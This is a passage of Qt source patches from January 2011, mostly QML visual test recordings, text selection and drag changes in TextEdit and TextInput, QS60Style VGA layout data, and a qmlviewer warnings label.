hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1744 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1760 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1776 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Frame { + msec: 1792 + hash: "8833dfac6aae78ce1309222cc4438e6f" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 43; y: 9 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1808 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 1824 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 1840 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 1856 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 1872 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 1888 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 43; y: 9 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1904 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 1920 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 1936 + image: "qtbug-15818.2.png" + } + Frame { + msec: 1952 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Mouse { + type: 4 + button: 1 + buttons: 1 + x: 43; y: 9 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1968 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 1984 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2000 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2016 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2032 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2048 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2064 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 43; y: 9 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2080 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2096 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2112 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2128 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2144 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2160 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2176 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2192 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2208 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2224 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2240 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2256 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2272 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2288 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2304 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2320 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2336 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2352 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2368 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2384 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2400 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2416 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2432 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2448 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2464 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2480 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2496 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2512 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2528 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2544 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2560 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2576 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2592 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2608 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2624 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2640 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2656 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2672 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2688 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 54; y: 9 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2704 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 2720 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 2736 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 2752 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 2768 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 2784 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 55; y: 9 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 55; y: 9 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2800 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 2816 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 2832 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Frame { + msec: 2848 + hash: "0a63463fc1004efffd15f9524bcf3a29" + } + Mouse { + type: 4 + button: 1 + buttons: 1 + x: 55; y: 9 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2864 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2880 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2896 + image: "qtbug-15818.3.png" + } + Frame { + msec: 2912 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2928 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2944 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2960 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 2976 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 55; y: 9 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2992 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3008 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3024 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3040 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3056 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3072 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3088 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3104 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3120 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3136 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3152 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3168 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3184 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3200 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3216 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3232 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3248 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3264 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3280 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3296 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3312 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3328 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3344 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3360 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3376 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3392 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3408 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3424 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3440 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3456 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3472 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3488 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3504 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3520 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3536 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3552 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3568 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3584 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3600 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3616 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3632 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3648 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3664 + hash: "270462ec02bce658757e0ea4fb2136b1" + } + Frame { + msec: 3680 + hash: "270462ec02bce658757e0ea4fb2136b1" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/qtbug-15818.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/qtbug-15818.qml new file mode 100644 index 0000000..59710a4 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/qtbug-15818.qml @@ -0,0 +1,13 @@ +import QtQuick 1.1 +//Test that doubleclicking on the front of a word only selects that word, and not the word in front + +Item{ + width: 200 + height: 100 + TextInput{ + anchors.fill: parent + readOnly: true + selectByMouse: true + text: "abc a cba test" + } +} -- cgit v0.12 From 7aae8a569809208318ad06017eda39c860c1b2a9 Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Mon, 10 Jan 2011 15:29:03 +1000 Subject: Add no warnings label to qmlviewer warnings window Small developer usability improvement Task-number: Reviewed-by: Bea Lam --- tools/qml/loggerwidget.cpp | 15 +++++++++++++++ tools/qml/loggerwidget.h | 4 +++- 2 files changed, 18 insertions(+), 1 deletion(-) diff --git a/tools/qml/loggerwidget.cpp b/tools/qml/loggerwidget.cpp index f601d95..fb4fedc 100644 --- a/tools/qml/loggerwidget.cpp +++ b/tools/qml/loggerwidget.cpp @@ -45,6 +45,8 @@ #include #include #include +#include +#include #ifdef Q_WS_MAEMO_5 # include # include @@ -83,6 +85,14 @@ LoggerWidget::LoggerWidget(QWidget *parent) : setCentralWidget(m_plainTextEdit); #endif + m_noWarningsLabel = new QLabel(m_plainTextEdit); + m_noWarningsLabel->setText(tr("(No warnings)")); + m_noWarningsLabel->setAlignment(Qt::AlignVCenter | Qt::AlignHCenter); + QVBoxLayout *layout = new QVBoxLayout; + layout->addWidget(m_noWarningsLabel); + m_plainTextEdit->setLayout(layout); + connect(m_plainTextEdit, SIGNAL(textChanged()), this, SLOT(updateNoWarningsLabel())); + readSettings(); setupPreferencesMenu(); } @@ -207,4 +217,9 @@ void LoggerWidget::setupPreferencesMenu() } } +void LoggerWidget::updateNoWarningsLabel() +{ + m_noWarningsLabel->setVisible(m_plainTextEdit->toPlainText().length() == 0); +} + QT_END_NAMESPACE diff --git a/tools/qml/loggerwidget.h b/tools/qml/loggerwidget.h index 13c319f..27d4d0b 100644 --- a/tools/qml/loggerwidget.h +++ b/tools/qml/loggerwidget.h @@ -48,6 +48,7 @@ QT_BEGIN_NAMESPACE class QPlainTextEdit; +class QLabel; class QMenu; class QAction; @@ -66,6 +67,7 @@ public: public slots: void append(const QString &msg); + void updateNoWarningsLabel(); private slots: void warningsPreferenceChanged(QAction *action); @@ -86,7 +88,7 @@ private: QMenu *m_preferencesMenu; QAction *m_showWidgetAction; QPlainTextEdit *m_plainTextEdit; - + QLabel *m_noWarningsLabel; enum ConfigOrigin { CommandLineOrigin, SettingsOrigin }; ConfigOrigin m_visibilityOrigin; Visibility m_visibility; -- cgit v0.12 From 6a36f1f6299980cd0338009cb31e2a36cd40e44f Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Mon, 10 Jan 2011 15:40:11 +1000 Subject: Add property versioning checks for QtQuick 1.1 deselect() function Task-number: QTBUG-16059 Reviewed-by: Martin Jones --- src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp | 5 ++++- src/declarative/graphicsitems/qdeclarativetextedit_p.h | 2 +- src/declarative/graphicsitems/qdeclarativetextinput_p.h | 2 +- 3 files changed, 6 insertions(+), 3 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp index 7db4d85..0d386c6 100644 --- a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp @@ -179,8 +179,11 @@ void QDeclarativeItemModule::defineModule() qmlRegisterType("QtQuick",1,1,"PinchArea"); qmlRegisterType("QtQuick",1,1,"Pinch"); qmlRegisterType(); - qmlRegisterType("QtQuick",1,1,"Repeater"); + qmlRegisterType("QtQuick",1,1,"Repeater"); qmlRegisterType("QtQuick",1,1,"TextEdit"); +#ifndef QT_NO_LINEEDIT + qmlRegisterType("QtQuick",1,1,"TextInput"); +#endif #ifndef QT_NO_IMPORT_QT47_QML #ifdef QT_NO_MOVIE diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p.h index 6a05aa8..3e86a05 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextedit_p.h @@ -231,10 +231,10 @@ Q_SIGNALS: Q_REVISION(1) void linkActivated(const QString &link); public Q_SLOTS: - void deselect(); void selectAll(); void selectWord(); void select(int start, int end); + Q_REVISION(1) void deselect(); #ifndef QT_NO_CLIPBOARD void cut(); void copy(); diff --git a/src/declarative/graphicsitems/qdeclarativetextinput_p.h b/src/declarative/graphicsitems/qdeclarativetextinput_p.h index 25b8e66..5bff2ea 100644 --- a/src/declarative/graphicsitems/qdeclarativetextinput_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextinput_p.h @@ -238,10 +238,10 @@ protected: void focusInEvent(QFocusEvent *event); public Q_SLOTS: - void deselect(); void selectAll(); void selectWord(); void select(int start, int end); + Q_REVISION(1) void deselect(); #ifndef QT_NO_CLIPBOARD void cut(); void copy(); -- cgit v0.12 From d281cea3a445aa244901decceffd7d653ed829c8 Mon Sep 17 00:00:00 2001 From: Sami Merila Date: Mon, 10 Jan 2011 10:36:41 +0200 Subject: QWidgets support for VGA screen Add pixelmetrics data for QS60Style to support VGA screensizes. Task-number: QT-4079 Reviewed-by: Miikka Heikkinen --- src/gui/styles/qs60style.cpp | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/src/gui/styles/qs60style.cpp b/src/gui/styles/qs60style.cpp index 040ca4f..3ba8887 100644 --- a/src/gui/styles/qs60style.cpp +++ b/src/gui/styles/qs60style.cpp @@ -96,7 +96,8 @@ const layoutHeader QS60StylePrivate::m_layoutHeaders[] = { {320,240,1,19,"QVGA Portrait"}, {360,640,1,19,"NHD Landscape"}, {640,360,1,19,"NHD Portrait"}, -{352,800,1,12,"E90 Landscape"} +{352,800,1,12,"E90 Landscape"}, +{480,640,1,19,"VGA Landscape"} // *** End of generated data *** }; const int QS60StylePrivate::m_numberOfLayouts = @@ -109,6 +110,7 @@ const short QS60StylePrivate::data[][MAX_PIXELMETRICS] = { {7,0,-909,0,0,2,0,5,-1,25,69,46,37,37,9,258,-909,-909,-909,23,19,26,0,0,32,25,72,44,5,5,2,-909,-909,0,7,21,0,17,29,22,22,27,27,7,173,29,0,-909,-909,-909,-909,0,0,25,2,-909,0,0,-909,25,-909,-909,-909,-909,87,27,77,35,77,13,3,6,8,19,-909,7,74,19,7,0,5,5,8,12,5,5,-909,3,-909,-909,-909,-909,7,7,3,1,135}, {7,0,-909,0,0,2,0,5,-1,25,68,46,37,37,9,258,-909,-909,-909,31,19,6,0,0,32,25,60,52,5,5,2,-909,-909,0,7,32,0,17,29,22,22,27,27,7,173,29,0,-909,-909,-909,-909,0,0,26,2,-909,0,0,-909,26,-909,-909,-909,-909,87,27,96,35,96,12,3,6,8,19,-909,7,74,22,7,0,5,5,8,12,5,5,-909,3,-909,-909,-909,-909,7,7,3,1,135}, {7,0,-909,0,0,2,0,2,-1,10,20,27,18,18,9,301,-909,-909,-909,29,18,5,0,0,35,7,32,30,5,5,2,-909,-909,0,2,8,0,16,28,21,21,26,26,2,170,26,0,-909,-909,-909,-909,0,0,21,6,-909,0,0,-909,-909,-909,-909,-909,-909,54,26,265,34,265,5,5,6,3,18,-909,7,72,19,7,0,5,6,8,11,6,5,-909,2,-909,-909,-909,-909,5,5,3,1,106} +{9,0,-909,0,0,2,0,5,-1,34,99,76,51,51,25,352,-909,-909,-909,29,25,7,0,0,43,34,42,76,7,7,2,-909,-909,0,9,14,0,23,39,30,30,37,37,9,391,40,0,-909,-909,-909,-909,0,0,29,2,-909,0,0,-909,29,-909,-909,-909,-909,115,37,96,48,96,19,19,9,1,25,-909,9,101,24,9,0,7,7,7,16,7,7,-909,3,-909,-909,-909,-909,9,9,3,1,184} // *** End of generated data *** }; -- cgit v0.12 From 19b6e2b944a0d1eeef0fb707a00f567e4ee870e6 Mon Sep 17 00:00:00 2001 From: Sami Merila Date: Mon, 10 Jan 2011 11:32:15 +0200 Subject: Build failure fix (related to QT-4079) Change d281cea3a445aa244901decceffd7d653ed829c8 caused build failure, due to missing comma (one line missing from commit). Fixed by adding the missing change. Task-number: QT-4079 Reviewed-by: Miikka Heikkinen --- src/gui/styles/qs60style.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/gui/styles/qs60style.cpp b/src/gui/styles/qs60style.cpp index 3ba8887..4a4095d 100644 --- a/src/gui/styles/qs60style.cpp +++ b/src/gui/styles/qs60style.cpp @@ -109,7 +109,7 @@ const short QS60StylePrivate::data[][MAX_PIXELMETRICS] = { {5,0,-909,0,0,1,0,2,-1,8,14,22,15,15,7,164,-909,-909,-909,19,15,2,0,0,21,8,27,28,4,4,1,-909,-909,0,7,6,0,13,23,17,17,21,21,7,115,21,0,-909,-909,-909,-909,0,0,15,1,-909,0,0,-909,15,-909,-909,-909,-909,32,21,65,27,65,3,3,5,10,15,-909,5,58,13,5,0,4,4,7,9,4,4,-909,2,-909,-909,-909,-909,6,6,3,1,106}, {7,0,-909,0,0,2,0,5,-1,25,69,46,37,37,9,258,-909,-909,-909,23,19,26,0,0,32,25,72,44,5,5,2,-909,-909,0,7,21,0,17,29,22,22,27,27,7,173,29,0,-909,-909,-909,-909,0,0,25,2,-909,0,0,-909,25,-909,-909,-909,-909,87,27,77,35,77,13,3,6,8,19,-909,7,74,19,7,0,5,5,8,12,5,5,-909,3,-909,-909,-909,-909,7,7,3,1,135}, {7,0,-909,0,0,2,0,5,-1,25,68,46,37,37,9,258,-909,-909,-909,31,19,6,0,0,32,25,60,52,5,5,2,-909,-909,0,7,32,0,17,29,22,22,27,27,7,173,29,0,-909,-909,-909,-909,0,0,26,2,-909,0,0,-909,26,-909,-909,-909,-909,87,27,96,35,96,12,3,6,8,19,-909,7,74,22,7,0,5,5,8,12,5,5,-909,3,-909,-909,-909,-909,7,7,3,1,135}, -{7,0,-909,0,0,2,0,2,-1,10,20,27,18,18,9,301,-909,-909,-909,29,18,5,0,0,35,7,32,30,5,5,2,-909,-909,0,2,8,0,16,28,21,21,26,26,2,170,26,0,-909,-909,-909,-909,0,0,21,6,-909,0,0,-909,-909,-909,-909,-909,-909,54,26,265,34,265,5,5,6,3,18,-909,7,72,19,7,0,5,6,8,11,6,5,-909,2,-909,-909,-909,-909,5,5,3,1,106} +{7,0,-909,0,0,2,0,2,-1,10,20,27,18,18,9,301,-909,-909,-909,29,18,5,0,0,35,7,32,30,5,5,2,-909,-909,0,2,8,0,16,28,21,21,26,26,2,170,26,0,-909,-909,-909,-909,0,0,21,6,-909,0,0,-909,-909,-909,-909,-909,-909,54,26,265,34,265,5,5,6,3,18,-909,7,72,19,7,0,5,6,8,11,6,5,-909,2,-909,-909,-909,-909,5,5,3,1,106}, {9,0,-909,0,0,2,0,5,-1,34,99,76,51,51,25,352,-909,-909,-909,29,25,7,0,0,43,34,42,76,7,7,2,-909,-909,0,9,14,0,23,39,30,30,37,37,9,391,40,0,-909,-909,-909,-909,0,0,29,2,-909,0,0,-909,29,-909,-909,-909,-909,115,37,96,48,96,19,19,9,1,25,-909,9,101,24,9,0,7,7,7,16,7,7,-909,3,-909,-909,-909,-909,9,9,3,1,184} // *** End of generated data *** }; -- cgit v0.12 From d95b1dd15f7aed243d7177a2096eb58080359d55 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 10 Jan 2011 13:40:21 +0100 Subject: Doc: Changed description to prevent confusion about managed widgets. --- src/gui/kernel/qlayout.cpp | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/gui/kernel/qlayout.cpp b/src/gui/kernel/qlayout.cpp index 5b526d4..fbede11 100644 --- a/src/gui/kernel/qlayout.cpp +++ b/src/gui/kernel/qlayout.cpp @@ -980,10 +980,10 @@ void QLayoutPrivate::reparentChildWidgets(QWidget *mw) /*! This function is called from \c addWidget() functions in - subclasses to add \a w as a child widget. + subclasses to add \a w as a managed widget of a layout. - If \a w is already in a layout, this function will give a warning - and remove \a w from the layout. This function must therefore be + If \a w is already managed by a layout, this function will give a warning + and remove \a w from that layout. This function must therefore be called before adding \a w to the layout's data structure. */ void QLayout::addChildWidget(QWidget *w) -- cgit v0.12 From 7d43a31902ca6d2132004c45db313194c9669bb6 Mon Sep 17 00:00:00 2001 From: Andrew den Exter Date: Mon, 10 Jan 2011 18:11:19 +1000 Subject: Disable dragging text in TextEdit. Add a dragEnabled property to QTextControl so text dragging can optionally be disabled. Task-number: QTBUG-16248 Reviewed-by: Martin Jones --- .../graphicsitems/qdeclarativetextedit.cpp | 1 + src/gui/text/qtextcontrol.cpp | 17 +++++++- src/gui/text/qtextcontrol_p.h | 3 ++ src/gui/text/qtextcontrol_p_p.h | 2 + .../tst_qdeclarativetextedit.cpp | 46 ++++++++++++++++++++++ .../data/mouseselection_true.qml | 7 ++++ .../tst_qdeclarativetextinput.cpp | 45 +++++++++++++++++++++ 7 files changed, 120 insertions(+), 1 deletion(-) create mode 100644 tests/auto/declarative/qdeclarativetextinput/data/mouseselection_true.qml diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp index 7ea3dec..c1c7a0c 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp @@ -1342,6 +1342,7 @@ void QDeclarativeTextEditPrivate::init() control = new QTextControl(q); control->setIgnoreUnusedNavigationEvents(true); control->setTextInteractionFlags(control->textInteractionFlags() | Qt::LinksAccessibleByMouse); + control->setDragEnabled(false); // QTextControl follows the default text color // defined by the platform, declarative text diff --git a/src/gui/text/qtextcontrol.cpp b/src/gui/text/qtextcontrol.cpp index 7f2c4e9..548d81e 100644 --- a/src/gui/text/qtextcontrol.cpp +++ b/src/gui/text/qtextcontrol.cpp @@ -114,6 +114,7 @@ static QTextLine currentTextLine(const QTextCursor &cursor) QTextControlPrivate::QTextControlPrivate() : doc(0), cursorOn(false), cursorIsFocusIndicator(false), interactionFlags(Qt::TextEditorInteraction), + dragEnabled(true), #ifndef QT_NO_DRAGANDDROP mousePressed(false), mightStartDrag(false), #endif @@ -1551,7 +1552,8 @@ void QTextControlPrivate::mousePressEvent(QEvent *e, Qt::MouseButton button, con setCursorPosition(cursorPos, QTextCursor::KeepAnchor); } else { - if (cursor.hasSelection() + if (dragEnabled + && cursor.hasSelection() && !cursorIsFocusIndicator && cursorPos >= cursor.selectionStart() && cursorPos <= cursor.selectionEnd() @@ -2328,6 +2330,19 @@ bool QTextControl::cursorIsFocusIndicator() const return d->cursorIsFocusIndicator; } + +void QTextControl::setDragEnabled(bool enabled) +{ + Q_D(QTextControl); + d->dragEnabled = enabled; +} + +bool QTextControl::isDragEnabled() const +{ + Q_D(const QTextControl); + return d->dragEnabled; +} + #ifndef QT_NO_PRINTER void QTextControl::print(QPrinter *printer) const { diff --git a/src/gui/text/qtextcontrol_p.h b/src/gui/text/qtextcontrol_p.h index 8399d50..2af442f 100644 --- a/src/gui/text/qtextcontrol_p.h +++ b/src/gui/text/qtextcontrol_p.h @@ -175,6 +175,9 @@ public: void setCursorIsFocusIndicator(bool b); bool cursorIsFocusIndicator() const; + void setDragEnabled(bool enabled); + bool isDragEnabled() const; + #ifndef QT_NO_PRINTER void print(QPrinter *printer) const; #endif diff --git a/src/gui/text/qtextcontrol_p_p.h b/src/gui/text/qtextcontrol_p_p.h index c103103..29c04a7 100644 --- a/src/gui/text/qtextcontrol_p_p.h +++ b/src/gui/text/qtextcontrol_p_p.h @@ -174,6 +174,8 @@ public: QBasicTimer trippleClickTimer; QPointF trippleClickPoint; + bool dragEnabled; + bool mousePressed; bool mightStartDrag; diff --git a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp index 7af008f..649d34f 100644 --- a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp +++ b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp @@ -113,6 +113,7 @@ private slots: void moveCursorSelection(); void mouseSelection_data(); void mouseSelection(); + void dragMouseSelection(); void inputMethodHints(); void cursorDelegate(); @@ -916,6 +917,51 @@ void tst_qdeclarativetextedit::mouseSelection() QVERIFY(str.isEmpty()); } +void tst_qdeclarativetextedit::dragMouseSelection() +{ + QString qmlfile = SRCDIR "/data/mouseselection_true.qml"; + + QDeclarativeView *canvas = createView(qmlfile); + + canvas->show(); + QApplication::setActiveWindow(canvas); + QTest::qWaitForWindowShown(canvas); + QTRY_COMPARE(QApplication::activeWindow(), static_cast(canvas)); + + QVERIFY(canvas->rootObject() != 0); + QDeclarativeTextEdit *textEditObject = qobject_cast(canvas->rootObject()); + QVERIFY(textEditObject != 0); + + textEditObject->setAcceptDrops(true); + + // press-and-drag-and-release from x1 to x2 + int x1 = 10; + int x2 = 70; + int y = textEditObject->height()/2; + QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y))); + { + QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); + QApplication::sendEvent(canvas->viewport(), &mv); + } + QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y))); + QString str1 = textEditObject->selectedText(); + QVERIFY(str1.length() > 3); + + // press and drag the current selection. + x1 = 40; + x2 = 100; + QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y))); + { + QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); + QApplication::sendEvent(canvas->viewport(), &mv); + } + QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y))); + QString str2 = textEditObject->selectedText(); + QVERIFY(str2.length() > 3); + + QVERIFY(str1 != str2); // Verify the second press and drag is a new selection and doesn't not the first moved. +} + void tst_qdeclarativetextedit::inputMethodHints() { QDeclarativeView *canvas = createView(SRCDIR "/data/inputmethodhints.qml"); diff --git a/tests/auto/declarative/qdeclarativetextinput/data/mouseselection_true.qml b/tests/auto/declarative/qdeclarativetextinput/data/mouseselection_true.qml new file mode 100644 index 0000000..8115ba0 --- 